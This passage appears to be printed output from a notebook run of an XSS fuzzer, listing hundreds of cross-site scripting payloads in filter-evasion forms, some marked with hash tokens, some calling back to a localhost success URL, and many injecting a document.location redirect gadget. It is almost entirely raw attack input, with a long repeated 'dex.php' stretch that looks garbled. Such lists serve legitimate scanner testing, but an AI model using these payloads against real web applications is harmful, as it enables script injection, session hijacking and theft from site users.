      "\"><img src=\"x:x\" onerror=\"d1b5ca587c660d7961aad1902e90fa71\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=8d8b32a47b5a4e72a112e87e9a9f187a>\n",
      "'';!--\"<cab3045702c0349b75e1251d45c030d9>=&{()}\"\n",
      "<IMG SRC=\"70e16bb15bf8597b31ee77462eefc2d7\">\n",
      "<IMG SRC=5456bba58ee32b73a9b7596d24c90f1d>\n",
      "<IMG SRC=`d910c1a8eac3262b8a51e3cfd4a3bcd7`>\n",
      "<IMG \"\"\">e54f9f1a00cb54739136720c1915d11e\">\n",
      "<IMG SRC=\" &#14;  d83eb398f50bc4a5ff2b351b42e19f11\">\n",
      "<DIV STYLE=\"behaviour: url(8d1a59ecafaa1550d6bcd2b00644e060);\">\n",
      "<<SCRIPT>3e4a75436180f1cac76ecff858e1a098//<</SCRIPT>\n",
      "\";2a9abcbac9a0f3b52cdcffdebf51ef9c//\n",
      "<IMG SRC='5adf6a221619123e7a69d71ad574c78d'\n",
      "<BODY BACKGROUND=\"d9810dc2581ec78895aa89d237b11d06\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"ab2426b29ec1c4da932850c17b0705e7\">\n",
      "<BODY ONLOAD=0996614765e566a0e6f34695d5f04543>\n",
      "<IMG DYNSRC=\"34d7e05c478e8260791e59569a9aa71c\">\n",
      "<IMG LOWSRC=\"1d1cfe51017f04e45c326b2aa71b0256\">\n",
      "<BGSOUND SRC=\"3e2d0edf142f970f886dc2375c992f8e\">\n",
      "<BR SIZE=\"&{a4085510dd4b8b4718412f82ee7890f0}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"4ac4f32f412732c45b3b47155aa4e50f\">\n",
      "<IMG SRC='vbscript:297ff12f8ae02f3b4f5d85fcb4537a33'>\n",
      "<IMG SRC=\"mocha:[13805760cdb62a82b72aaef575ea7952]\">\n",
      "<IMG SRC=\"livescript:[7b8df0f94d0dce43a2e8a2acd7dc284d]\">\n",
      "<TABLE BACKGROUND=javascript:7ade4ce4aa081cfe64855fb1beb9ba62>\n",
      "<TABLE BACKGROUND=\"1195947b5ce57a5d5a0127b5b7c3ea8a\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=c535831fde2761d3dbcca458524d3e01\">\n",
      "<TABLE><TD BACKGROUND=\"8a7786d46370cab217f9c6ec66f8972c\">\n",
      "<DIV STYLE=\"background-image: url(e83a4f4045927bdf0a477067edd8a2ef);\">\n",
      "<DIV STYLE=\"width: expression(50a3d85e2744cb90be613979ffa6684e);\">\n",
      "<IFRAME SRC=\"650b95a001b65dfd1a96f072e5b691a0\"></IFRAME>\n",
      "<iframe/ /onload=c27faad5ecd933f09f42f63ef151e61d></iframe>\n",
      "<iframe/ \"onload=d02dd879fe67607f5857c980f8899bd1></iframe>\n",
      "<iframe///////onload=741f53fc30dea6a28382519bb3ae16d0></iframe>\n",
      "<iframe \"onload=371a80ddd5321c0bb217f8493f02e13a></iframe>\n",
      "<iframe/ \"onload=6c6fa0131ce2ae4bb6768cc6c5470592></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=63512e00701d54e7613aa5620ec369b6></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=056ddbfaf24518c13012bf6ffe1dbc13></iframe>\n",
      "<FRAMESET><FRAME SRC=\"3d1730770cc4b0869776213b8ccbc857\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"9ade913958a65e8337cb3c2c264614fd\">\n",
      "<DIV STYLE=\"width: expression(e35ad128d92b4f8beee6487ecc24179b);\">\n",
      "<TABLE><TD BACKGROUND=\"98721887c467cbf0b6c9bf0452f1cfa6\">\n",
      "<DIV STYLE=\"background-image: url(&#1;40273346058114ea04d6b91454509c27)\">\n",
      "<IMG STYLE=\"xss:expr/*e87d250928a5fdbc883ef48d2c377f30*/ession(e87d250928a5fdbc883ef48d2c377f30)\">\n",
      "<efc3bf414e001bf54ab0441aaa65cc50 STYLE=\"xss:expression(efc3bf414e001bf54ab0441aaa65cc50)\">\n",
      "<STYLE TYPE=\"text/javascript\">3ff50be0e3fbcee1ac149be6d8fd32b8</STYLE>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"41f35d4a621e766fae6736cdd06c0a8f\")}</STYLE>\n",
      "<STYLE>.8024ae2d86e336aa45b07459da733d5a{background-image:url(\"8024ae2d86e336aa45b07459da733d5a\");}</STYLE><A CLASS=8024ae2d86e336aa45b07459da733d5a></A>\n",
      "<!--[if gte IE 4]>fc044508c731d4c67102eabc3d24410e<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=d773f7bd9d4f89116edfd7749fa95e0d></OBJECT>\n",
      "<BASE HREF=\"00be2f825efe12a4891a44b5c48b6f13//\">\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"050abbc806823590c172c54cb8a743f7\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>f32f4f1c37c65924d839553cd89aa481</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;4c914a835289f66a8392908159364ecf&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>43f5a849e3757e3576d5e9bc303ee5dd</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:022c1e439de0cdabea4611a2323ae3b4\">\n",
      "<IMG SRC=\"&14;javascript:e80f5607240ce040bde1979f7979a749\">\n",
      "--- <IMG SRC=\" &#14;  14ca822e5867463b62929c8c0704b534\">\n",
      "--- <IMG SRC=\"2d337039a02055fe46bf353299dd1ea9\"\n",
      "<SCRIPT>a=/e30c99392a75b4f499a63a393fd64657/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=64946afe7b509e793ad10dffae9edc97\">\n",
      "--- \";1edf8cd01e47dcc8462abcfc7d01c5ae;//\n",
      "<IFRAME SRC=\"javascript:fe6afcb6d0dd75d7b12e6e873746efd1 <\n",
      "<SCRIPT <B>=0bd8164f91d072d67c3f1fe93cac0731\"></SCRIPT>\n",
      "<SCRIPT>a=/c3ba975f43c2b49103e137ea0d97c1b1/nc3ba975f43c2b49103e137ea0d97c1b1</SCRIPT>\n",
      "<LAYER SRC=\"javascript:5399bd094c7519d3b8c6c421b63aaf63></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"a9f621818828a20666143641870ba4fb</STYLE><UL><LI>a9f621818828a20666143641870ba4fb\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:0a8a06df3e31230e9630713f6580f215\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-1e0f5e2dea6436a613fc672c5a9deff0+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#7a3f19e7da7d11127e67d24055ddac28\">\n",
      "<input type=\"image\" dynsrc=\"2ccf5b4510bf6c72ef3232b8c75b9d4c\">\n",
      "&839f5e4c24d20427b45b30da2491844e\">\n",
      "<IMG SRC=&{2b19bf46152caae7111bc27dc3a4c48c};>\n",
      "&{1f7dd6be517cbbf20844e06b5924a2fd};\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:50204ae413dc157b0b3425a6bc904067\">\n",
      "<a href=\"about:a0e217a30be642e631c9fb53b9ff624e\">\n",
      "<DIV STYLE=\"binding: url(javascript:d9684c668627bc1d94fe2624252fb232);\">\n",
      "<style><!--</style><SCRIPT>9d6da7e326845fcd99da5bfd37796e42//--></SCRIPT>\n",
      "<xml id=\"X\"><a><b>21941475bea3ad66fca8c4798d3f4e26;<b></a></xml>\n",
      "![CDATA[<!--]]<SCRIPT>834811b519a240849a5eff5cb72fdd20//--></SCRIPT>\n",
      "<!-- -- -->eacbe50578338ae6eb69245d6712bb9b<!-- -- -->\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#64429b5999993241f7e962242a93fc21\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:d031f838fbfa8bf106b6f239f2fa8649\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:28c1f9d81da96822c0d94b2cec85e480\">X\n",
      "<input onfocus=javascript:454752a458903e8601cbab652251af81 autofocus>\n",
      "<select onfocus=javascript:9881098f8800b7470986e72a12a3c484 autofocus>\n",
      "<body onscroll=3a4d7af081320819ff8d7cf398b5f033><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<keygen onfocus=javascript:600d9ede72755f185bb2b59c10710cdf autofocus>\n",
      "<textarea onfocus=javascript:bdc494d76b6be594af954f71f8754969 autofocus>\n",
      "<video poster=javascript:14be75062a7f8760d5f776261a066a7a//\n",
      "<input onblur=javascript:7a5c5df7fb151908195fd5c66c1dee6f autofocus><input autofocus>\n",
      "X<form id=test onforminput=javascript:e2987df6c73957406946b8cf6a40101d><input></form>\n",
      "<video onerror=\"javascript:3cdc9d0bfcd6c44ffbea688b3e372072\"><source>\n",
      "<video><source onerror=\"javascript:0ac9352f973bdc489757e68ddff5dd10\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:84aaa811fab47949756775c1eaaecc38>X\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/13805760cdb62a82b72aaef575ea7952]\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/9ade913958a65e8337cb3c2c264614fd\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/d9810dc2581ec78895aa89d237b11d06\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=&{http://localhost:19084/success/2b19bf46152caae7111bc27dc3a4c48c};>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/7b8df0f94d0dce43a2e8a2acd7dc284d]\">\n",
      "<IMG SRC='http://localhost:19084/success/5adf6a221619123e7a69d71ad574c78d'\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/3d1730770cc4b0869776213b8ccbc857\"></FRAMESET>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/d1b5ca587c660d7961aad1902e90fa71\">\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/1f977128ee30b92db9f0278766a1f1f3')</SCRIPT>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<IFRAME SRC=\"http://localhost:19084/success/650b95a001b65dfd1a96f072e5b691a0\"></IFRAME>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"http://localhost:19084/success/70e16bb15bf8597b31ee77462eefc2d7\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/43f5a849e3757e3576d5e9bc303ee5dd</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<IMG SRC=http://localhost:19084/success/5456bba58ee32b73a9b7596d24c90f1d>\n",
      "<IMG SRC=`http://localhost:19084/success/d910c1a8eac3262b8a51e3cfd4a3bcd7`>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "dex.php\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/050abbc806823590c172c54cb8a743f7\")\";eval(a+b+c+d);\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/ab2426b29ec1c4da932850c17b0705e7\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/1195947b5ce57a5d5a0127b5b7c3ea8a\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/1d1cfe51017f04e45c326b2aa71b0256\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/34d7e05c478e8260791e59569a9aa71c\">\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/4ac4f32f412732c45b3b47155aa4e50f\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/297ff12f8ae02f3b4f5d85fcb4537a33'>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/8024ae2d86e336aa45b07459da733d5a\");}</STYLE><A CLASS=XSS></A>\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/8a7786d46370cab217f9c6ec66f8972c\">\n"
     ]
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/98721887c467cbf0b6c9bf0452f1cfa6\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/3e2d0edf142f970f886dc2375c992f8e\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/41f35d4a621e766fae6736cdd06c0a8f\")}</STYLE>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/2d337039a02055fe46bf353299dd1ea9\"\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/2ccf5b4510bf6c72ef3232b8c75b9d4c\">\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/d031f838fbfa8bf106b6f239f2fa8649\">]]</C><X></xml>\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "'';!--\"<bac23b0568fd21fcc71c647c7a840b32>=&{()}\"\n",
      "\">31acc62c70ae3bc1f06b7afcb7b3bbe0\n",
      "</TITLE>a92ecc0a4d41c4311913c74a76265288\n",
      "\"><SCRIPT>alert('8625e1e58b96409cbe785b8322eefea2')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"0ca81d32e4079d5a2ad754cca14de57c\">\n",
      "'';!--\"<b1937073bda815d4f3be9bccbe833b23>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=176c2786ea4421a4663c24d292ca9841>\n",
      "<IMG SRC=ce0925fe456d198da6e629decbe6ec1e>\n",
      "<IMG SRC=\"911e2a8728040b45de2db55e656fc164\">\n",
      "<IMG SRC=`64948adcbb7cfa0c3ce1a6c585d9816e`>\n",
      "<IMG SRC=\" &#14;  c793b87f26661ab65bed20fa2351254f\">\n",
      "<IMG \"\"\">f5c666699fe6d7e9e655c8b3423f617c\">\n",
      "<DIV STYLE=\"behaviour: url(61e75d4118e25d65fee0ee20193c5616);\">\n",
      "<<SCRIPT>63e45dfcd97e021cab85e3127694aff2//<</SCRIPT>\n",
      "\";0434bf161a1544676d8b2ba57946dc13//\n",
      "<IMG SRC='f63fe99788baab324b06e90199e30597'\n",
      "<BODY BACKGROUND=\"d12b900bbf2a8af8aa7b682c1c235211\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"56feaaef4204998f64f9f6269459d949\">\n",
      "<BODY ONLOAD=0019cd99ee13d7375e9ba5d54cea8b12>\n",
      "<IMG DYNSRC=\"a7abf61619dc0efd9107a00a80d30cda\">\n",
      "<IMG LOWSRC=\"ee4a42225eadabb7175b671e72260197\">\n",
      "<BGSOUND SRC=\"1944402728242147d26752c74068df26\">\n",
      "<BR SIZE=\"&{681b626fc580cf9ea5e0e3c662751170}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"02afc711eed1e97568364c4f4be70546\">\n",
      "<IMG SRC='vbscript:7d2d915cfa4659564c1e89e6901eeb4c'>\n",
      "<IMG SRC=\"mocha:[b7487fc3742da5ce39bc78f01bace802]\">\n",
      "<IMG SRC=\"livescript:[9a034c94f5f8fe956bdc45c295c76655]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=0ad380bb721ab0af65285d9381e8a0da\">\n",
      "<TABLE BACKGROUND=\"88e67a27af76071158195c87941a90bc\">\n",
      "<TABLE BACKGROUND=javascript:56c2f989b41f937a8f9a04990990f67a>\n",
      "<TABLE><TD BACKGROUND=\"968e1101f8e07101469a247cc6c38021\">\n",
      "<DIV STYLE=\"background-image: url(6b9a978440c956fa70e96fe522cfaf41);\">\n",
      "<DIV STYLE=\"width: expression(28dc4b03ae24002195b534542b8334aa);\">\n",
      "<IFRAME SRC=\"6c0f072fe4e468dab162f9f567c6871d\"></IFRAME>\n",
      "<iframe/ /onload=6c048c8e2950f10dc9be3474de611d06></iframe>\n",
      "<iframe/ \"onload=3373a4e06c43b41008e4874be989840c></iframe>\n",
      "<iframe///////onload=02e2a725e970f20c976e6cb7453c0c15></iframe>\n",
      "<iframe \"onload=0db535e695f7c6dd31069b2bcb9af2ba></iframe>\n",
      "<iframe/ \"onload=128128b2bf7d2a30e4f5f60eb93a20d0></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=e65125a6f80abebf1de3ec2de548b77f></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=96149b46fb43db5f955663c4280c8487></iframe>\n",
      "<FRAMESET><FRAME SRC=\"425c5c7d77e008ac4030ae3814ddb912\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"cfc761ecd775e3b9b467339f606a30f0\">\n",
      "<TABLE><TD BACKGROUND=\"3baa3c4773dfad62aec72e7b322d2bc4\">\n",
      "<DIV STYLE=\"background-image: url(&#1;e247641f2da8b67a752831e5cf025898)\">\n",
      "<DIV STYLE=\"width: expression(036e327dbd37500978c10613f7ef78d4);\">\n",
      "<IMG STYLE=\"xss:expr/*80905dd0bcea049b3bb74068d0cafa7d*/ession(80905dd0bcea049b3bb74068d0cafa7d)\">\n",
      "<b4a832a03a032e2bfec880161123b70a STYLE=\"xss:expression(b4a832a03a032e2bfec880161123b70a)\">\n",
      "<STYLE TYPE=\"text/javascript\">5b2af256eabc95f5697a7acea5cb47b0</STYLE>\n",
      "<STYLE>.b775abacfa3523ee3ce413911fa027d6{background-image:url(\"b775abacfa3523ee3ce413911fa027d6\");}</STYLE><A CLASS=b775abacfa3523ee3ce413911fa027d6></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"cb10f8642eb38f68040f3bcedefcf704\")}</STYLE>\n",
      "<!--[if gte IE 4]>518998694ff8c3e46dd74e9bc69e9c17<![endif]-->\n",
      "<BASE HREF=\"090b921f0f8d5afe7f18d51e1b12297f//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=ae9c1608c3b158cb18419d025caef25e></OBJECT>\n",
      "<? echo('<SCR)';echo('IPT>0d0dee21804a8dea5d03dbd3b19b4bac</SCRIPT>'); ?>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"77c68203de34c59d738e0a0fd2a851ee\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;c7b7a4ce2cec179b086b1d4d0d4f34da&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>e211c1fb7aa0c7c5170e792abe72d9ce</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:2e51f15a3b04b6aad38ed90c091a8bb2\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:1401ec387c5cdcdf349332a607b973b9\">\n",
      "--- <IMG SRC=\" &#14;  eeb7fcdb962c0311f8d03e7dcd7b99c7\">\n",
      "--- <IMG SRC=\"a6ad054d69f7dfbeff647a83ff9c42f7\"\n",
      "<SCRIPT>a=/d51d74bddccb345c2a569093db88b458/alert(a.source)</SCRIPT>\n",
      "--- \";95a149beed604ade9d7627a8c32d17ac;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=eb8c4702c915642bbb3078acc534ccd4\">\n",
      "<SCRIPT <B>=bd7c9d6aa3142b6e970d17cd9de71dc4\"></SCRIPT>\n",
      "<LAYER SRC=\"javascript:658df7b670b44f1e81538d0385501dc6></LAYER>\n",
      "<SCRIPT>a=/7e5b77d3051da291d8023c4a29446764/n7e5b77d3051da291d8023c4a29446764</SCRIPT>\n",
      "<IFRAME SRC=\"javascript:43cd6b06acbce3142b88127a5590fedd <\n",
      "<STYLE>li {list-style-image: url(\"332585461e461876f7f23905fe442c62</STYLE><UL><LI>332585461e461876f7f23905fe442c62\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:4e37963117584fac2acf5a40a165999a\">\n",
      "<input type=\"image\" dynsrc=\"e93a77bbfc1951a18bfac06859ec67c1\">\n",
      "<a href=\"javascript#e6836ab421444f58c927942c08a445e8\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-74fb39d1a919b2cbb62dfa410d66cc92+ADw-/SCRIPT+AD4-\n",
      "&{8c9290ebd84ad001061c50aba85faa86};\n",
      "&461ee14f048cb0c4204e0840863415bc\">\n",
      "<IMG SRC=&{a933eb722e9c1fa79ed4988742a7fbd6};>\n",
      "<a href=\"about:74441b35b9db2e816bdc91e7e96b9ff2\">\n",
      "<DIV STYLE=\"binding: url(javascript:8656794d0799b8ffa5d0e98b5baf7a41);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:aed3433b110e058a8d1dadcb0d3d8e90\">\n",
      "<xml id=\"X\"><a><b>ab1142c695764976e5ba85a2f777a8a9;<b></a></xml>\n",
      "![CDATA[<!--]]<SCRIPT>2f254558f09eeaafdf6b8ba97282c2dc//--></SCRIPT>\n",
      "<style><!--</style><SCRIPT>39f19718195c54991c3a1b3aeb44de80//--></SCRIPT>\n",
      "<!-- -- -->0a3c4e98a214e77a81d54d42568612f2<!-- -- -->\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#b8274b41c2e1c85ee259db9609f9d896\"></div>\n",
      "<textarea onfocus=javascript:e890b3aecfe490b4146473be53f343a5 autofocus>\n",
      "<select onfocus=javascript:246130cfd7f298418df002d33d5fecf6 autofocus>\n",
      "<input onfocus=javascript:8d5c28283477f641ac2ec1a7c8b0033f autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:d6ebae2fb8f3b12ce4524e19af614ca0\">X\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:311339e037e6771c424cce875301a582\">]]</C><X></xml>\n",
      "X<form id=test onforminput=javascript:6d7e5bf6ccb49de8e1edba7fbf2602e6><input></form>\n",
      "<video poster=javascript:da771930b360af8e6742bf086ed896f2//\n",
      "<input onblur=javascript:ecdb9627ad9252368e638c710e7f4c5d autofocus><input autofocus>\n",
      "<keygen onfocus=javascript:a47ee1fdd5eeead3ff0d2386e8866288 autofocus>\n",
